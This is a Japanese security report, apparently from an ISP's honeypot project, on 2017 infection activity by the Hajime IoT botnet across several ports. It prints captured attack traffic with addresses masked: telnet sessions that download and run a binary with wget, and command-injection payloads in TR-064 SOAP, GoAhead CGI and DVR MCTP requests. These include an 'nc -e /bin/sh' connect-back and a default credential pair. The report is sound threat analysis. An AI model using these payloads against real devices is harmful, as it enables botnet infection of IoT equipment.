Hajime ボットの観測状況

Hajime は IP Camera や DVR などのいわゆる IoT 機器に主に感染するボットで、2016年10月に Rapidity Networks によって最初に報告されました。同時期に Mirai ボットによる大規模な DDoS 攻撃が観測されたため、その影に隠れていましたが、2017年に入ってから感染活動が活発に観測されるようになりました。また4月にはセキュリティベンダー各社から詳しい解説レポートが公開されています。本記事では、IIJ のマルウェア活動観測プロジェクト MITF のハニーポットで観測された Hajime の最近の活動状況について報告します。

概要

Hajime の動作の詳細については Rapidity Networks^[1]Rapidity Networks, Hajime: Analysis of a decentralized internet worm for IoT devices https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdfMirai … Continue reading およびセキュリティ各社からのレポート^[2]Symantec, Hajime worm battles Mirai for control of the Internet of Things http://www.symantec.com/connect/blogs/hajime-worm-battles-mirai-control-internet-things^[3]Kaspersky Labs, Hajime, the mysterious evolving botnet https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/^[4]Radware, Hajime Botnet – Friend or Foe? https://security.radware.com/ddos-threats-attacks/hajime-iot-botnet/を参照してください。ここではいくつか特徴的な点のみをあげておきます。

• BitTorrent のプロトコルを利用した P2P による C2 通信を行う
• ARM および MIPS アーキテクチャのみに対応している
• iptables により複数のポートへのアクセスをブロックする
• ソースコードは公開されておらず亜種が少ない (アップデートは不定期に行われている)^[5]セキュリティ研究者によって Hajime の検体のハッシュ情報が GitHub … Continue reading
• SYN スキャン時における初期シーケンス番号の上位または下位の2バイトが0になっている

なお Hajime による DDoS 攻撃はこれまでのところ観測されておらず、自らが感染を拡大することで他のボットによる感染を防いでいるようにも見えます。そのため、ポートへのアクセスをブロックすることにより他のボットからの侵入を防止することを目的とした、ホワイトハットハッカーによる活動ではないかとの見方もありますが、今のところ真の動機は不明です^[6]過去にも攻撃意図を持たないボットの感染活動が観測されたことがあります。たとえば Carna や Reincarna / Wifatch など。また Hajime … Continue reading。

また IIJ のハニーポットへのユニークなアクセス元 IP アドレスから Hajime の感染数を推定すると、今年前半のピーク時には40万台を越える機器が Hajime に感染していたと考えられます。現在はやや減少しており、10万台以下と推定されます。

各ポートにおける観測状況

Hajime の活動は昨年9月頃から観測されていますが、当初は 23/tcp への telnet による感染活動のみでした。その後2017年から、攻撃対象の拡大とともに他のポートに対する攻撃も観測されるようになっています。ここでは各ポートへの攻撃活動の特徴と観測状況について示します。

23/tcp, 5358/tcp (telnet)

23/tcp への telnet による感染活動は昨年から現在まで継続していますが、昨年末から 5358/tcp に対しても同様に telnet による感染活動が観測されるようになりました。その後、このポートへの活動は5月末まで継続しましたが、6〜7月は活動が見られず、8月に入ってから再び活発な感染活動を見せています。

telnet による攻撃手法は Mirai など他の IoT ボットと類似しており^[7]Mirai については IIR Vol.33 のフォーカスリサーチ「1.4.1 Mirai Botnet の検知と対策」を参照。https://www.iij.ad.jp/company/development/report/iir/033/01_04.html、IoT 機器にデフォルトで設定されているユーザ ID とパスワードを利用してログインし、感染を行います^[8]HAJIME: A FOLLOW-UP https://x86.re/blog/hajime-a-follow-up/。Hajime によって telnet のログイン後に実行される典型的なコマンドの例を以下に示します。(IP アドレスなど一部の情報はマスクしてあります。以降の例でも同様)

2017年7月までのパターン

enable
shell
sh
cat /proc/mounts; /bin/busybox XXXXX(ランダムな英大文字)
cd /dev/shm; (cat .s || cp /bin/echo .s); /bin/busybox XXXXX
nc;wget; /bin/busybox XXXXX
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox XXXXX
rm .s; wget http://xxx.xxx.xxx.xxx:xxxxx/.i; chmod +x .i; ./.i; exitCode language: Bash (bash)

2017年8月以降のパターン

enable
system
shell
sh
cat /proc/mounts; /bin/busybox XXXXX(ランダムな英大文字)
cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XXXXX
tftp; wget; /bin/busybox XXXXX
dd bs=52 count=1 if=.s || cat .s
/bin/busybox XXXXX
rm .s; wget http://xxx.xxx.xxx.xxx:xxxxx/.i; chmod 777 .i; ./.i; exitCode language: Bash (bash)

上記では最後に wget でバイナリを取得する例を示しましたが、この他に tftp や echo コマンドを利用する例を確認しています。/bin/echo のバイナリから対象機器のアーキテクチャを判別し、それに合うバイナリを他の Hajime 感染端末からダウンロードします。その他の複数のコマンドは、ログインしている機器が実際の IoT 機器かどうかの判定、つまりはハニーポット避けという目的があると考えられます。なお Hajime は ARM および MIPS のみに対応しており、x86 環境に対しては感染を行いません(この場合、上記の例で示したダウンロードのコマンドは実行されません)。

7547/tcp (http)

2016年11月に Mirai の亜種による大規模な感染活動が世界中で発生し、ドイツテレコムでは約90万ユーザでホームルータに障害が発生し、インターネットが利用できなくなるなどの影響が出ました^[9]Deutsche Telekom: Information on current problems https://www.telekom.com/en/media/media-information/archive/information-on-current-problems-444862。これは Mirai 亜種がルータの管理インタフェースを利用して繰り返し感染を試み、これに失敗した結果引き起こされたものです。家庭用のルータには 7547/tcp (および 5555/tcp) ポートにおいて TR-064: LAN-Side DSL CPE Configuration とよばれる管理プロトコルを利用しているものがあります。Mirai 亜種はこのうち特定の機器がもつ実装上の脆弱性を悪用して感染を試みていました。

Mirai 亜種による感染活動は2016年12月には下火になりましたが、Hajime はこの Mirai 亜種の攻撃手法をそのまま模倣し、2017年1月から 7547/tcp ポートへの感染活動をはじめました。ただし Hajime の攻撃手法には Mirai 亜種とは異なる点があります。Hajime はサーバの 7547/tcp ポートに接続後、GET リクエストを送ってサーバからのレスポンスをまず確認し、Server ヘッダがターゲットと一致する場合のみ攻撃を継続します。一致しない場合にはそこで処理が終了します。Mirai 亜種にはこのような確認プロセスは存在しませんでした。

Hajime が再接続後に送信する POST リクエストの例を以下に示します。

POST /UD/act?1 HTTP/1.1
Host: xxx.xxx.xxx.xxx:7547
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Content-Type: text/xml
Content-Length: 515
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
  <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
    <NewNTPServer1>`cd /tmp;wget http://xxx.xxx.xxx.xxx:xxxxx/3;chmod 777 3;./3`</NewNTPServer1>
    <NewNTPServer2></NewNTPServer2>
    <NewNTPServer3></NewNTPServer3>
    <NewNTPServer4></NewNTPServer4>
    <NewNTPServer5></NewNTPServer5>
  </u:SetNTPServers>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>Code language: HTTP (http)

上記では、コマンドインジェクションによって感染を行う際に wget でバイナリを取得する例を示しましたが、tftp を利用する例も確認しています。また telnet の場合と異なり対象機器のアーキテクチャの判別を行わず、自分自身のバイナリを感染先に送りこもうとします。そのためダウンロード先の IP アドレスは送信元の IP アドレスと一致します。

なお MITF ハニーポットによる観測では、Hajime による 7547/tcp への感染活動は2017年1月から7月初め頃まで活発に行われていましたが、現在はほぼ活動が見られなくなっています。

81/tcp (http)

2017年4月中旬から 81/tcp ポートに対して感染活動を行う新たなボットが観測されはじめ、360 Network Security Research Lab から感染手法などの詳細なレポートが公開されました^[10]New Threat Report: A new IoT Botnet is Spreading over HTTP 81 on a Large Scale http://blog.netlab.360.com/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-en/^[11]Http 81 Botnet: the Comparison against MIRAI and New Findings http://blog.netlab.360.com/http-81-botnet-the-comparison-against-mirai-and-new-findings-en/。また Trend Micro も5月にレポートを公開し、このボットを Persirai と名付けました^[12]Persirai: New Internet of Things (IoT) Botnet Targets IP Cameras – TrendLabs Security Intelligence Blog … Continue reading。このボットはネットワークのスキャン動作などは Mirai のコードを一部流用していますが、攻撃手法は全く新しいもので、組み込み機器のユーザインタフェースとしてよく利用される GoAhead Web Server の複数の脆弱性を利用していました。Persirai の感染活動は4月末にはほぼ収束しましたが、5月中旬から再び 81/tcp へのスキャン活動の増加が観測されました。このスキャン活動は Persirai の特徴 (コードを流用した Mirai と同じく初期シーケンス番号が宛先 IP アドレスとなる) とは一致せず、Hajime の特徴と一致しており、Hajime が Persirai の攻撃手法を模倣したものだと判明しました。ただしここでも 7547/tcp と同様に、Hajime はサーバの 81/tcp ポートに接続後、GET リクエストを送ってサーバからのレスポンスをまず確認し、Server ヘッダがターゲットと一致する場合のみ攻撃を継続します。一致しない場合にはそこで処理が終了します。Persirai にはこのような確認プロセスは存在しませんでした。

Server ヘッダの確認後は脆弱性を利用してサーバの認証情報をまず取得し、次にその認証情報を使って Hajime の感染を試みます。Hajime から送信されるリクエストの例を以下に示します。

1.

GET login.cgi HTTP/1.1
Host: xxx.xxx.xxx.xxx:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Content-Length: 0Code language: HTTP (http)

2.

GET /set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=888888&svr=%24%28nc+xxx.xxx.xxx.xxx+xxxxx+-e+%2Fbin%2Fsh%29&port=21&user=ftp&pwd=ftp HTTP/1.1
Host: xxx.xxx.xxx.xxx:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Content-Length: 0Code language: HTTP (http)

2番目の GET リクエストでは、1番目の GET リクエストの応答に含まれるサーバの認証情報を利用して、netcat で自分自身に対してコネクトバックしています。なお MITF ハニーポットによる観測では、Hajime による 81/tcp への感染活動は2017年5月から7月初め頃まで活発に行われていましたが、現在はほぼ活動が見られなくなっています。

9000/tcp (mctp)

2017年5月末から 9000/tcp ポートへのスキャン活動が急増し、通信パターンは Hajime の特徴と一致していることがわかりました^[13]警察庁も 9000/tcp … Continue reading。リクエストの中身を確認すると、2015年3月に報告された DVR 機器の脆弱性を利用した攻撃を行っていました。そこでこのコマンドへの応答をハニーポットで偽装したところ、最終的には Hajime の感染を試みてきました。情報を取得するコマンドをまず実行し、その応答を見てターゲットかどうかを判断し、ターゲットと一致する場合のみ攻撃を継続しています。このあたりの動作は 7547/tcp, 81/tcp での Server ヘッダの確認と類似しているといえます。

Hajime から送信されるコマンドの例を以下に示します。

1.

REMOTE HI_SRDK_DEV_GetHddInfo MCTP/1.0
Seq:196
Accept:text/HDP
Content-Type:text/HDP
Func-Version:0x10
Content-Length:15
Segment-Num:0Code language: HTTP (http)

2.

REMOTE HI_SRDK_NET_GetWebServerPort MCTP/1.0
CSeq:200
Accept:text/HDP
Content-Type:text/HDP
Func-Version:0x10
Content-Length:15
Segment-Num:0Code language: HTTP (http)

3.

REMOTE HI_SRDK_DEV_SaveFlash MCTP/1.0
Seq:199
Accept:text/HDP
Content-Type:text/HDP
Func-Version:0x10
Content-Length:15
Segment-Num:0Code language: HTTP (http)

4.

REMOTE HI_SRDK_NET_SetPppoeAttr MCTP/1.0
CSeq:198
Accept:text/HDP
Content-Type:text/HDP
Func-Version:0x10
Content-Length:251
Segment-Num:1
Segment-Seq:1
Data-Length:202

;udhcpc;cd /;>i;chmod +x i;(nc xxx.xxx.xxx.xxx xxxxx >i;./i)&Code language: HTTP (http)

最後のリクエストでコマンドインジェクションを行い、自分自身 (送信元IPアドレス) に対して netcat でコネクトバックしています。

なお MITF ハニーポットによる観測では、9000/tcp ポートへの送信元アドレスの半数以上は米国に偏っており、米国を中心に使われている特定の DVR 機器が Hajime の攻撃対象となったものと考えられます。また Hajime による 9000/tcp への感染活動は 2017年5月末から7月初め頃まで活発に行われていましたが、現在はほぼ活動が見られなくなっています。

以上、各ポートへの Hajime の攻撃の特徴をみてきましたが、共通する点としてサーバのレスポンスから攻撃対象かどうかの確認を行っているという点が挙げられます。これは Mirai やその亜種などには見られない特徴です。このサーバからのレスポンスを確認するという挙動については、

1. ハニーポットに活動を捕捉されるのを避けるため
2. 障害を起こすような不要な攻撃を避けるため
3. できるだけ効率よく攻撃して感染を拡大するため

などの理由が考えられますが、いずれも推測の域を出ません。ただこれらの動作の結果として、Mirai 亜種が昨年11月に引き起したような障害は発生しにくいものの、ハニーポットによる監視がやりにくく、活動が把握しづらいということは言えます。

まとめ

Hajime は時期によってスキャンするポートが変化しており、現時点では 7547/tcp, 81/tcp, 9000/tcp へのスキャンはほぼ行われておらず、23/tcp および 5358/tcp への telnet による感染活動のみが観測されています。ただし過去の活動経緯から考えると、いつ動きが変化するか予測できません。いまのところ DoS 攻撃を行わず感染活動のみを行っている謎の多いボットですが、これも今後も同じだとは限りません。ピーク時と比べるとやや数が減ったとはいえ、依然としてかなりの規模のボットネットを維持しており、引き続きその動向には注目したいと思います。